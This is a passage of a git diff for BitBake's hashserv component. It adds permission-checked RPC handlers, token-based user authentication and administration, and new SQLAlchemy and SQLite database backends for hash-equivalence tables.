+ }
- self.write_message(d)
+ @permissions(READ_PERM, REPORT_PERM)
+ async def handle_equivreport(self, data):
+ await self.db.insert_unihash(data["method"], data["taskhash"], data["unihash"])
+
+ # Fetch the unihash that will be reported for the taskhash. If the
+ # unihash matches, it means this row was inserted (or the mapping
+ # was already valid)
+ row = await self.db.get_equivalent(data["method"], data["taskhash"])
+
+ if row["unihash"] == data["unihash"]:
+ self.logger.info(
+ "Adding taskhash equivalence for %s with unihash %s",
+ data["taskhash"],
+ row["unihash"],
+ )
+ return {k: row[k] for k in ("taskhash", "method", "unihash")}
+ @permissions(READ_PERM)
async def handle_get_stats(self, request):
- d = {
- 'requests': self.request_stats.todict(),
+ return {
+ "requests": self.request_stats.todict(),
}
- self.write_message(d)
-
+ @permissions(DB_ADMIN_PERM)
async def handle_reset_stats(self, request):
d = {
- 'requests': self.request_stats.todict(),
+ "requests": self.request_stats.todict(),
}
self.request_stats.reset()
- self.write_message(d)
+ return d
+ @permissions(READ_PERM)
async def handle_backfill_wait(self, request):
d = {
- 'tasks': self.backfill_queue.qsize(),
+ "tasks": self.backfill_queue.qsize(),
}
await self.backfill_queue.join()
- self.write_message(d)
+ return d
+ @permissions(DB_ADMIN_PERM)
async def handle_remove(self, request):
condition = request["where"]
if not isinstance(condition, dict):
raise TypeError("Bad condition type %s" % type(condition))
- def do_remove(columns, table_name, cursor):
- nonlocal condition
- where = {}
- for c in columns:
- if c in condition and condition[c] is not None:
- where[c] = condition[c]
+ return {"count": await self.db.remove(condition)}
- if where:
- query = ('DELETE FROM %s WHERE ' % table_name) + ' AND '.join("%s=:%s" % (k, k) for k in where.keys())
- cursor.execute(query, where)
- return cursor.rowcount
+ @permissions(DB_ADMIN_PERM)
+ async def handle_clean_unused(self, request):
+ max_age = request["max_age_seconds"]
+ oldest = datetime.now() - timedelta(seconds=-max_age)
+ return {"count": await self.db.clean_unused(oldest)}
- return 0
+ @permissions(DB_ADMIN_PERM)
+ async def handle_get_db_usage(self, request):
+ return {"usage": await self.db.get_usage()}
- count = 0
- with closing(self.db.cursor()) as cursor:
- count += do_remove(OUTHASH_TABLE_COLUMNS, "outhashes_v2", cursor)
- count += do_remove(UNIHASH_TABLE_COLUMNS, "unihashes_v2", cursor)
- self.db.commit()
+ @permissions(DB_ADMIN_PERM)
+ async def handle_get_db_query_columns(self, request):
+ return {"columns": await self.db.get_query_columns()}
- self.write_message({"count": count})
+ # The authentication API is always allowed
+ async def handle_auth(self, request):
+ username = str(request["username"])
+ token = str(request["token"])
- async def handle_clean_unused(self, request):
- max_age = request["max_age_seconds"]
- with closing(self.db.cursor()) as cursor:
- cursor.execute(
- """
- DELETE FROM outhashes_v2 WHERE created<:oldest AND NOT EXISTS (
- SELECT unihashes_v2.id FROM unihashes_v2 WHERE unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash LIMIT 1
- )
- """,
+ async def fail_auth():
+ nonlocal username
+ # Rate limit bad login attempts
+ await asyncio.sleep(1)
+ raise bb.asyncrpc.InvokeError(f"Unable to authenticate as {username}")
+
+ user, db_token = await self.db.lookup_user_token(username)
+
+ if not user or not db_token:
+ await fail_auth()
+
+ try:
+ algo, salt, _ = db_token.split(":")
+ except ValueError:
+ await fail_auth()
+
+ if hash_token(algo, salt, token) != db_token:
+ await fail_auth()
+
+ self.user = user
+
+ self.logger.info("Authenticated as %s", username)
+
+ return {
+ "result": True,
+ "username": self.user.username,
+ "permissions": sorted(list(self.user.permissions)),
+ }
+
+ @permissions(USER_ADMIN_PERM, allow_self_service=True, allow_anon=False)
+ async def handle_refresh_token(self, request):
+ username = str(request["username"])
+
+ token = await new_token()
+
+ updated = await self.db.set_user_token(
+ username,
+ hash_token(TOKEN_ALGORITHM, new_salt(), token),
+ )
+ if not updated:
+ self.raise_no_user_error(username)
+
+ return {"username": username, "token": token}
+
+ def get_perm_arg(self, arg):
+ if not isinstance(arg, list):
+ raise bb.asyncrpc.InvokeError("Unexpected type for permissions")
+
+ arg = set(arg)
+ try:
+ arg.remove(NONE_PERM)
+ except KeyError:
+ pass
+
+ unknown_perms = arg - ALL_PERMISSIONS
+ if unknown_perms:
+ raise bb.asyncrpc.InvokeError(
+ "Unknown permissions %s" % ", ".join(sorted(list(unknown_perms)))
+ )
+
+ return sorted(list(arg))
+
+ def return_perms(self, permissions):
+ if ALL_PERM in permissions:
+ return sorted(list(ALL_PERMISSIONS))
+ return sorted(list(permissions))
+
+ @permissions(USER_ADMIN_PERM, allow_anon=False)
+ async def handle_set_perms(self, request):
+ username = str(request["username"])
+ permissions = self.get_perm_arg(request["permissions"])
+
+ if not await self.db.set_user_perms(username, permissions):
+ self.raise_no_user_error(username)
+
+ return {
+ "username": username,
+ "permissions": self.return_perms(permissions),
+ }
+
+ @permissions(USER_ADMIN_PERM, allow_self_service=True, allow_anon=False)
+ async def handle_get_user(self, request):
+ username = str(request["username"])
+
+ user = await self.db.lookup_user(username)
+ if user is None:
+ return None
+
+ return {
+ "username": user.username,
+ "permissions": self.return_perms(user.permissions),
+ }
+
+ @permissions(USER_ADMIN_PERM, allow_anon=False)
+ async def handle_get_all_users(self, request):
+ users = await self.db.get_all_users()
+ return {
+ "users": [
{
- "oldest": datetime.now() - timedelta(seconds=-max_age)
+ "username": u.username,
+ "permissions": self.return_perms(u.permissions),
}
- )
- count = cursor.rowcount
+ for u in users
+ ]
+ }
- self.write_message({"count": count})
+ @permissions(USER_ADMIN_PERM, allow_anon=False)
+ async def handle_new_user(self, request):
+ username = str(request["username"])
+ permissions = self.get_perm_arg(request["permissions"])
- def query_equivalent(self, cursor, method, taskhash):
- # This is part of the inner loop and must be as fast as possible
- cursor.execute(
- 'SELECT taskhash, method, unihash FROM unihashes_v2 WHERE method=:method AND taskhash=:taskhash',
- {
- 'method': method,
- 'taskhash': taskhash,
- }
+ token = await new_token()
+
+ inserted = await self.db.new_user(
+ username,
+ permissions,
+ hash_token(TOKEN_ALGORITHM, new_salt(), token),
)
- return cursor.fetchone()
+ if not inserted:
+ raise bb.asyncrpc.InvokeError(f"Cannot create new user '{username}'")
+
+ return {
+ "username": username,
+ "permissions": self.return_perms(permissions),
+ "token": token,
+ }
+
+ @permissions(USER_ADMIN_PERM, allow_self_service=True, allow_anon=False)
+ async def handle_delete_user(self, request):
+ username = str(request["username"])
+
+ if not await self.db.delete_user(username):
+ self.raise_no_user_error(username)
+
+ return {"username": username}
+
+ @permissions(USER_ADMIN_PERM, allow_anon=False)
+ async def handle_become_user(self, request):
+ username = str(request["username"])
+
+ user = await self.db.lookup_user(username)
+ if user is None:
+ raise bb.asyncrpc.InvokeError(f"User {username} doesn't exist")
+
+ self.user = user
+
+ self.logger.info("Became user %s", username)
+
+ return {
+ "username": self.user.username,
+ "permissions": self.return_perms(self.user.permissions),
+ }
class Server(bb.asyncrpc.AsyncServer):
- def __init__(self, db, upstream=None, read_only=False):
+ def __init__(
+ self,
+ db_engine,
+ upstream=None,
+ read_only=False,
+ anon_perms=DEFAULT_ANON_PERMS,
+ admin_username=None,
+ admin_password=None,
+ ):
if upstream and read_only:
- raise bb.asyncrpc.ServerError("Read-only hashserv cannot pull from an upstream server")
+ raise bb.asyncrpc.ServerError(
+ "Read-only hashserv cannot pull from an upstream server"
+ )
+
+ disallowed_perms = set(anon_perms) - set(
+ [NONE_PERM, READ_PERM, REPORT_PERM, DB_ADMIN_PERM]
+ )
+
+ if disallowed_perms:
+ raise bb.asyncrpc.ServerError(
+ f"Permission(s) {' '.join(disallowed_perms)} are not allowed for anonymous users"
+ )
super().__init__(logger)
self.request_stats = Stats()
- self.db = db
+ self.db_engine = db_engine
self.upstream = upstream
self.read_only = read_only
+ self.backfill_queue = None
+ self.anon_perms = set(anon_perms)
+ self.admin_username = admin_username
+ self.admin_password = admin_password
- def accept_client(self, reader, writer):
- return ServerClient(reader, writer, self.db, self.request_stats, self.backfill_queue, self.upstream, self.read_only)
+ self.logger.info(
+ "Anonymous user permissions are: %s", ", ".join(self.anon_perms)
+ )
- @contextmanager
- def _backfill_worker(self):
- async def backfill_worker_task():
- client = await create_async_client(self.upstream)
- try:
- while True:
- item = await self.backfill_queue.get()
- if item is None:
- self.backfill_queue.task_done()
- break
- method, taskhash = item
- await copy_unihash_from_upstream(client, self.db, method, taskhash)
+ def accept_client(self, socket):
+ return ServerClient(
+ socket,
+ self.db_engine,
+ self.request_stats,
+ self.backfill_queue,
+ self.upstream,
+ self.read_only,
+ self.anon_perms,
+ )
+
+ async def create_admin_user(self):
+ admin_permissions = (ALL_PERM,)
+ async with self.db_engine.connect(self.logger) as db:
+ added = await db.new_user(
+ self.admin_username,
+ admin_permissions,
+ hash_token(TOKEN_ALGORITHM, new_salt(), self.admin_password),
+ )
+ if added:
+ self.logger.info("Created admin user '%s'", self.admin_username)
+ else:
+ await db.set_user_perms(
+ self.admin_username,
+ admin_permissions,
+ )
+ await db.set_user_token(
+ self.admin_username,
+ hash_token(TOKEN_ALGORITHM, new_salt(), self.admin_password),
+ )
+ self.logger.info("Admin user '%s' updated", self.admin_username)
+
+ async def backfill_worker_task(self):
+ async with await create_async_client(
+ self.upstream
+ ) as client, self.db_engine.connect(self.logger) as db:
+ while True:
+ item = await self.backfill_queue.get()
+ if item is None:
self.backfill_queue.task_done()
- finally:
- await client.close()
+ break
- async def join_worker(worker):
- await self.backfill_queue.put(None)
- await worker
+ method, taskhash = item
+ d = await client.get_taskhash(method, taskhash)
+ if d is not None:
+ await db.insert_unihash(d["method"], d["taskhash"], d["unihash"])
+ self.backfill_queue.task_done()
- if self.upstream is not None:
- worker = asyncio.ensure_future(backfill_worker_task())
- try:
- yield
- finally:
- self.loop.run_until_complete(join_worker(worker))
- else:
- yield
+ def start(self):
+ tasks = super().start()
+ if self.upstream:
+ self.backfill_queue = asyncio.Queue()
+ tasks += [self.backfill_worker_task()]
+
+ self.loop.run_until_complete(self.db_engine.create())
- def run_loop_forever(self):
- self.backfill_queue = asyncio.Queue()
+ if self.admin_username:
+ self.loop.run_until_complete(self.create_admin_user())
- with self._backfill_worker():
- super().run_loop_forever()
+ return tasks
+
+ async def stop(self):
+ if self.backfill_queue is not None:
+ await self.backfill_queue.put(None)
+ await super().stop()
diff --git a/poky/bitbake/lib/hashserv/sqlalchemy.py b/poky/bitbake/lib/hashserv/sqlalchemy.py
new file mode 100644
index 0000000000..cee04bffb0
--- /dev/null
+++ b/poky/bitbake/lib/hashserv/sqlalchemy.py
@@ -0,0 +1,427 @@
+#! /usr/bin/env python3
+#
+# Copyright (C) 2023 Garmin Ltd.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import logging
+from datetime import datetime
+from . import User
+
+from sqlalchemy.ext.asyncio import create_async_engine
+from sqlalchemy.pool import NullPool
+from sqlalchemy import (
+ MetaData,
+ Column,
+ Table,
+ Text,
+ Integer,
+ UniqueConstraint,
+ DateTime,
+ Index,
+ select,
+ insert,
+ exists,
+ literal,
+ and_,
+ delete,
+ update,
+ func,
+)
+import sqlalchemy.engine
+from sqlalchemy.orm import declarative_base
+from sqlalchemy.exc import IntegrityError
+
+Base = declarative_base()
+
+
+class UnihashesV2(Base):
+ __tablename__ = "unihashes_v2"
+ id = Column(Integer, primary_key=True, autoincrement=True)
+ method = Column(Text, nullable=False)
+ taskhash = Column(Text, nullable=False)
+ unihash = Column(Text, nullable=False)
+
+ __table_args__ = (
+ UniqueConstraint("method", "taskhash"),
+ Index("taskhash_lookup_v3", "method", "taskhash"),
+ )
+
+
+class OuthashesV2(Base):
+ __tablename__ = "outhashes_v2"
+ id = Column(Integer, primary_key=True, autoincrement=True)
+ method = Column(Text, nullable=False)
+ taskhash = Column(Text, nullable=False)
+ outhash = Column(Text, nullable=False)
+ created = Column(DateTime)
+ owner = Column(Text)
+ PN = Column(Text)
+ PV = Column(Text)
+ PR = Column(Text)
+ task = Column(Text)
+ outhash_siginfo = Column(Text)
+
+ __table_args__ = (
+ UniqueConstraint("method", "taskhash", "outhash"),
+ Index("outhash_lookup_v3", "method", "outhash"),
+ )
+
+
+class Users(Base):
+ __tablename__ = "users"
+ id = Column(Integer, primary_key=True, autoincrement=True)
+ username = Column(Text, nullable=False)
+ token = Column(Text, nullable=False)
+ permissions = Column(Text)
+
+ __table_args__ = (UniqueConstraint("username"),)
+
+
+class DatabaseEngine(object):
+ def __init__(self, url, username=None, password=None):
+ self.logger = logging.getLogger("hashserv.sqlalchemy")
+ self.url = sqlalchemy.engine.make_url(url)
+
+ if username is not None:
+ self.url = self.url.set(username=username)
+
+ if password is not None:
+ self.url = self.url.set(password=password)
+
+ async def create(self):
+ self.logger.info("Using database %s", self.url)
+ self.engine = create_async_engine(self.url, poolclass=NullPool)
+
+ async with self.engine.begin() as conn:
+ # Create tables
+ self.logger.info("Creating tables...")
+ await conn.run_sync(Base.metadata.create_all)
+
+ def connect(self, logger):
+ return Database(self.engine, logger)
+
+
+def map_row(row):
+ if row is None:
+ return None
+ return dict(**row._mapping)
+
+
+def map_user(row):
+ if row is None:
+ return None
+ return User(
+ username=row.username,
+ permissions=set(row.permissions.split()),
+ )
+
+
+class Database(object):
+ def __init__(self, engine, logger):
+ self.engine = engine
+ self.db = None
+ self.logger = logger
+
+ async def __aenter__(self):
+ self.db = await self.engine.connect()
+ return self
+
+ async def __aexit__(self, exc_type, exc_value, traceback):
+ await self.close()
+
+ async def close(self):
+ await self.db.close()
+ self.db = None
+
+ async def get_unihash_by_taskhash_full(self, method, taskhash):
+ statement = (
+ select(
+ OuthashesV2,
+ UnihashesV2.unihash.label("unihash"),
+ )
+ .join(
+ UnihashesV2,
+ and_(
+ UnihashesV2.method == OuthashesV2.method,
+ UnihashesV2.taskhash == OuthashesV2.taskhash,
+ ),
+ )
+ .where(
+ OuthashesV2.method == method,
+ OuthashesV2.taskhash == taskhash,
+ )
+ .order_by(
+ OuthashesV2.created.asc(),
+ )
+ .limit(1)
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return map_row(result.first())
+
+ async def get_unihash_by_outhash(self, method, outhash):
+ statement = (
+ select(OuthashesV2, UnihashesV2.unihash.label("unihash"))
+ .join(
+ UnihashesV2,
+ and_(
+ UnihashesV2.method == OuthashesV2.method,
+ UnihashesV2.taskhash == OuthashesV2.taskhash,
+ ),
+ )
+ .where(
+ OuthashesV2.method == method,
+ OuthashesV2.outhash == outhash,
+ )
+ .order_by(
+ OuthashesV2.created.asc(),
+ )
+ .limit(1)
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return map_row(result.first())
+
+ async def get_outhash(self, method, outhash):
+ statement = (
+ select(OuthashesV2)
+ .where(
+ OuthashesV2.method == method,
+ OuthashesV2.outhash == outhash,
+ )
+ .order_by(
+ OuthashesV2.created.asc(),
+ )
+ .limit(1)
+ )
+
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return map_row(result.first())
+
+ async def get_equivalent_for_outhash(self, method, outhash, taskhash):
+ statement = (
+ select(
+ OuthashesV2.taskhash.label("taskhash"),
+ UnihashesV2.unihash.label("unihash"),
+ )
+ .join(
+ UnihashesV2,
+ and_(
+ UnihashesV2.method == OuthashesV2.method,
+ UnihashesV2.taskhash == OuthashesV2.taskhash,
+ ),
+ )
+ .where(
+ OuthashesV2.method == method,
+ OuthashesV2.outhash == outhash,
+ OuthashesV2.taskhash != taskhash,
+ )
+ .order_by(
+ OuthashesV2.created.asc(),
+ )
+ .limit(1)
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return map_row(result.first())
+
+ async def get_equivalent(self, method, taskhash):
+ statement = select(
+ UnihashesV2.unihash,
+ UnihashesV2.method,
+ UnihashesV2.taskhash,
+ ).where(
+ UnihashesV2.method == method,
+ UnihashesV2.taskhash == taskhash,
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return map_row(result.first())
+
+ async def remove(self, condition):
+ async def do_remove(table):
+ where = {}
+ for c in table.__table__.columns:
+ if c.key in condition and condition[c.key] is not None:
+ where[c] = condition[c.key]
+
+ if where:
+ statement = delete(table).where(*[(k == v) for k, v in where.items()])
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return result.rowcount
+
+ return 0
+
+ count = 0
+ count += await do_remove(UnihashesV2)
+ count += await do_remove(OuthashesV2)
+
+ return count
+
+ async def clean_unused(self, oldest):
+ statement = delete(OuthashesV2).where(
+ OuthashesV2.created < oldest,
+ ~(
+ select(UnihashesV2.id)
+ .where(
+ UnihashesV2.method == OuthashesV2.method,
+ UnihashesV2.taskhash == OuthashesV2.taskhash,
+ )
+ .limit(1)
+ .exists()
+ ),
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return result.rowcount
+
+ async def insert_unihash(self, method, taskhash, unihash):
+ statement = insert(UnihashesV2).values(
+ method=method,
+ taskhash=taskhash,
+ unihash=unihash,
+ )
+ self.logger.debug("%s", statement)
+ try:
+ async with self.db.begin():
+ await self.db.execute(statement)
+ return True
+ except IntegrityError:
+ self.logger.debug(
+ "%s, %s, %s already in unihash database", method, taskhash, unihash
+ )
+ return False
+
+ async def insert_outhash(self, data):
+ outhash_columns = set(c.key for c in OuthashesV2.__table__.columns)
+
+ data = {k: v for k, v in data.items() if k in outhash_columns}
+
+ if "created" in data and not isinstance(data["created"], datetime):
+ data["created"] = datetime.fromisoformat(data["created"])
+
+ statement = insert(OuthashesV2).values(**data)
+ self.logger.debug("%s", statement)
+ try:
+ async with self.db.begin():
+ await self.db.execute(statement)
+ return True
+ except IntegrityError:
+ self.logger.debug(
+ "%s, %s already in outhash database", data["method"], data["outhash"]
+ )
+ return False
+
+ async def _get_user(self, username):
+ statement = select(
+ Users.username,
+ Users.permissions,
+ Users.token,
+ ).where(
+ Users.username == username,
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return result.first()
+
+ async def lookup_user_token(self, username):
+ row = await self._get_user(username)
+ if not row:
+ return None, None
+ return map_user(row), row.token
+
+ async def lookup_user(self, username):
+ return map_user(await self._get_user(username))
+
+ async def set_user_token(self, username, token):
+ statement = (
+ update(Users)
+ .where(
+ Users.username == username,
+ )
+ .values(
+ token=token,
+ )
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return result.rowcount != 0
+
+ async def set_user_perms(self, username, permissions):
+ statement = (
+ update(Users)
+ .where(Users.username == username)
+ .values(permissions=" ".join(permissions))
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return result.rowcount != 0
+
+ async def get_all_users(self):
+ statement = select(
+ Users.username,
+ Users.permissions,
+ )
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return [map_user(row) for row in result]
+
+ async def new_user(self, username, permissions, token):
+ statement = insert(Users).values(
+ username=username,
+ permissions=" ".join(permissions),
+ token=token,
+ )
+ self.logger.debug("%s", statement)
+ try:
+ async with self.db.begin():
+ await self.db.execute(statement)
+ return True
+ except IntegrityError as e:
+ self.logger.debug("Cannot create new user %s: %s", username, e)
+ return False
+
+ async def delete_user(self, username):
+ statement = delete(Users).where(Users.username == username)
+ self.logger.debug("%s", statement)
+ async with self.db.begin():
+ result = await self.db.execute(statement)
+ return result.rowcount != 0
+
+ async def get_usage(self):
+ usage = {}
+ async with self.db.begin() as session:
+ for name, table in Base.metadata.tables.items():
+ statement = select(func.count()).select_from(table)
+ self.logger.debug("%s", statement)
+ result = await self.db.execute(statement)
+ usage[name] = {
+ "rows": result.scalar(),
+ }
+
+ return usage
+
+ async def get_query_columns(self):
+ columns = set()
+ for table in (UnihashesV2, OuthashesV2):
+ for c in table.__table__.columns:
+ if not isinstance(c.type, Text):
+ continue
+ columns.add(c.key)
+
+ return list(columns)
diff --git a/poky/bitbake/lib/hashserv/sqlite.py b/poky/bitbake/lib/hashserv/sqlite.py
new file mode 100644
index 0000000000..f65036be93
--- /dev/null
+++ b/poky/bitbake/lib/hashserv/sqlite.py
@@ -0,0 +1,408 @@
+#! /usr/bin/env python3
+#
+# Copyright (C) 2023 Garmin Ltd.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+import sqlite3
+import logging
+from contextlib import closing
+from . import User
+
+logger = logging.getLogger("hashserv.sqlite")
+
+UNIHASH_TABLE_DEFINITION = (
+ ("method", "TEXT NOT NULL", "UNIQUE"),
+ ("taskhash", "TEXT NOT NULL", "UNIQUE"),
+ ("unihash", "TEXT NOT NULL", ""),
+)
+
+UNIHASH_TABLE_COLUMNS = tuple(name for name, _, _ in UNIHASH_TABLE_DEFINITION)
+
+OUTHASH_TABLE_DEFINITION = (
+ ("method", "TEXT NOT NULL", "UNIQUE"),
+ ("taskhash", "TEXT NOT NULL", "UNIQUE"),
+ ("outhash", "TEXT NOT NULL", "UNIQUE"),
+ ("created", "DATETIME", ""),
+ # Optional fields
+ ("owner", "TEXT", ""),
+ ("PN", "TEXT", ""),
+ ("PV", "TEXT", ""),
+ ("PR", "TEXT", ""),
+ ("task", "TEXT", ""),
+ ("outhash_siginfo", "TEXT", ""),
+)
+
+OUTHASH_TABLE_COLUMNS = tuple(name for name, _, _ in OUTHASH_TABLE_DEFINITION)
+
+USERS_TABLE_DEFINITION = (
+ ("username", "TEXT NOT NULL", "UNIQUE"),
+ ("token", "TEXT NOT NULL", ""),
+ ("permissions", "TEXT NOT NULL", ""),
+)
+
+USERS_TABLE_COLUMNS = tuple(name for name, _, _ in USERS_TABLE_DEFINITION)
+
+
+def _make_table(cursor, name, definition):
+ cursor.execute(
+ """
+ CREATE TABLE IF NOT EXISTS {name} (
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
+ {fields}
+ UNIQUE({unique})
+ )
+ """.format(
+ name=name,
+ fields=" ".join("%s %s," % (name, typ) for name, typ, _ in definition),
+ unique=", ".join(
+ name for name, _, flags in definition if "UNIQUE" in flags
+ ),
+ )
+ )
+
+
+def map_user(row):
+ if row is None:
+ return None
+ return User(
+ username=row["username"],
+ permissions=set(row["permissions"].split()),
+ )
+
+
+class DatabaseEngine(object):
+ def __init__(self, dbname, sync):
+ self.dbname = dbname
+ self.logger = logger
+ self.sync = sync
+
+ async def create(self):
+ db = sqlite3.connect(self.dbname)
+ db.row_factory = sqlite3.Row
+
+ with closing(db.cursor()) as cursor:
+ _make_table(cursor, "unihashes_v2", UNIHASH_TABLE_DEFINITION)
+ _make_table(cursor, "outhashes_v2", OUTHASH_TABLE_DEFINITION)
+ _make_table(cursor, "users", USERS_TABLE_DEFINITION)
+
+ cursor.execute("PRAGMA journal_mode = WAL")
+ cursor.execute(
+ "PRAGMA synchronous = %s" % ("NORMAL" if self.sync else "OFF")
+ )
+
+ # Drop old indexes
+ cursor.execute("DROP INDEX IF EXISTS taskhash_lookup")
+ cursor.execute("DROP INDEX IF EXISTS outhash_lookup")
+ cursor.execute("DROP INDEX IF EXISTS taskhash_lookup_v2")
+ cursor.execute("DROP INDEX IF EXISTS outhash_lookup_v2")
+
+ # TODO: Upgrade from tasks_v2?
+ cursor.execute("DROP TABLE IF EXISTS tasks_v2")
+
+ # Create new indexes
+ cursor.execute(
+ "CREATE INDEX IF NOT EXISTS taskhash_lookup_v3 ON unihashes_v2 (method, taskhash)"
+ )
+ cursor.execute(
+ "CREATE INDEX IF NOT EXISTS outhash_lookup_v3 ON outhashes_v2 (method, outhash)"
+ )
+
+ def connect(self, logger):
+ return Database(logger, self.dbname)
+
+
+class Database(object):
+ def __init__(self, logger, dbname, sync=True):
+ self.dbname = dbname
+ self.logger = logger
+
+ self.db = sqlite3.connect(self.dbname)
+ self.db.row_factory = sqlite3.Row
+
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute("SELECT sqlite_version()")
+
+ version = []
+ for v in cursor.fetchone()[0].split("."):
+ try:
+ version.append(int(v))
+ except ValueError:
+ version.append(v)
+
+ self.sqlite_version = tuple(version)
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(self, exc_type, exc_value, traceback):
+ await self.close()
+
+ async def close(self):
+ self.db.close()
+
+ async def get_unihash_by_taskhash_full(self, method, taskhash):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ SELECT *, unihashes_v2.unihash AS unihash FROM outhashes_v2
+ INNER JOIN unihashes_v2 ON unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash
+ WHERE outhashes_v2.method=:method AND outhashes_v2.taskhash=:taskhash
+ ORDER BY outhashes_v2.created ASC
+ LIMIT 1
+ """,
+ {
+ "method": method,
+ "taskhash": taskhash,
+ },
+ )
+ return cursor.fetchone()
+
+ async def get_unihash_by_outhash(self, method, outhash):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ SELECT *, unihashes_v2.unihash AS unihash FROM outhashes_v2
+ INNER JOIN unihashes_v2 ON unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash
+ WHERE outhashes_v2.method=:method AND outhashes_v2.outhash=:outhash
+ ORDER BY outhashes_v2.created ASC
+ LIMIT 1
+ """,
+ {
+ "method": method,
+ "outhash": outhash,
+ },
+ )
+ return cursor.fetchone()
+
+ async def get_outhash(self, method, outhash):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ SELECT * FROM outhashes_v2
+ WHERE outhashes_v2.method=:method AND outhashes_v2.outhash=:outhash
+ ORDER BY outhashes_v2.created ASC
+ LIMIT 1
+ """,
+ {
+ "method": method,
+ "outhash": outhash,
+ },
+ )
+ return cursor.fetchone()
+
+ async def get_equivalent_for_outhash(self, method, outhash, taskhash):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ SELECT outhashes_v2.taskhash AS taskhash, unihashes_v2.unihash AS unihash FROM outhashes_v2
+ INNER JOIN unihashes_v2 ON unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash
+ -- Select any matching output hash except the one we just inserted
+ WHERE outhashes_v2.method=:method AND outhashes_v2.outhash=:outhash AND outhashes_v2.taskhash!=:taskhash
+ -- Pick the oldest hash
+ ORDER BY outhashes_v2.created ASC
+ LIMIT 1
+ """,
+ {
+ "method": method,
+ "outhash": outhash,
+ "taskhash": taskhash,
+ },
+ )
+ return cursor.fetchone()
+
+ async def get_equivalent(self, method, taskhash):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ "SELECT taskhash, method, unihash FROM unihashes_v2 WHERE method=:method AND taskhash=:taskhash",
+ {
+ "method": method,
+ "taskhash": taskhash,
+ },
+ )
+ return cursor.fetchone()
+
+ async def remove(self, condition):
+ def do_remove(columns, table_name, cursor):
+ where = {}
+ for c in columns:
+ if c in condition and condition[c] is not None:
+ where[c] = condition[c]
+
+ if where:
+ query = ("DELETE FROM %s WHERE " % table_name) + " AND ".join(
+ "%s=:%s" % (k, k) for k in where.keys()
+ )
+ cursor.execute(query, where)
+ return cursor.rowcount
+
+ return 0
+
+ count = 0
+ with closing(self.db.cursor()) as cursor:
+ count += do_remove(OUTHASH_TABLE_COLUMNS, "outhashes_v2", cursor)
+ count += do_remove(UNIHASH_TABLE_COLUMNS, "unihashes_v2", cursor)
+ self.db.commit()
+
+ return count
+
+ async def clean_unused(self, oldest):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ DELETE FROM outhashes_v2 WHERE created<:oldest AND NOT EXISTS (
+ SELECT unihashes_v2.id FROM unihashes_v2 WHERE unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash LIMIT 1
+ )
+ """,
+ {
+ "oldest": oldest,
+ },
+ )
+ self.db.commit()
+ return cursor.rowcount
+
+ async def insert_unihash(self, method, taskhash, unihash):
+ with closing(self.db.cursor()) as cursor:
+ prevrowid = cursor.lastrowid
+ cursor.execute(
+ """
+ INSERT OR IGNORE INTO unihashes_v2 (method, taskhash, unihash) VALUES(:method, :taskhash, :unihash)
+ """,
+ {
+ "method": method,
+ "taskhash": taskhash,
+ "unihash": unihash,
+ },
+ )
+ self.db.commit()
+ return cursor.lastrowid != prevrowid
+
+ async def insert_outhash(self, data):
+ data = {k: v for k, v in data.items() if k in OUTHASH_TABLE_COLUMNS}
+ keys = sorted(data.keys())
+ query = "INSERT OR IGNORE INTO outhashes_v2 ({fields}) VALUES({values})".format(
+ fields=", ".join(keys),
+ values=", ".join(":" + k for k in keys),
+ )
+ with closing(self.db.cursor()) as cursor:
+ prevrowid = cursor.lastrowid
+ cursor.execute(query, data)
+ self.db.commit()
+ return cursor.lastrowid != prevrowid
+
+ def _get_user(self, username):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ SELECT username, permissions, token FROM users WHERE username=:username
+ """,
+ {
+ "username": username,
+ },
+ )
+ return cursor.fetchone()
+
+ async def lookup_user_token(self, username):
+ row = self._get_user(username)
+ if row is None:
+ return None, None
+ return map_user(row), row["token"]
+
+ async def lookup_user(self, username):
+ return map_user(self._get_user(username))
+
+ async def set_user_token(self, username, token):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ UPDATE users SET token=:token WHERE username=:username
+ """,
+ {
+ "username": username,
+ "token": token,
+ },
+ )
+ self.db.commit()
+ return cursor.rowcount != 0
+
+ async def set_user_perms(self, username, permissions):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ UPDATE users SET permissions=:permissions WHERE username=:username
+ """,
+ {
+ "username": username,
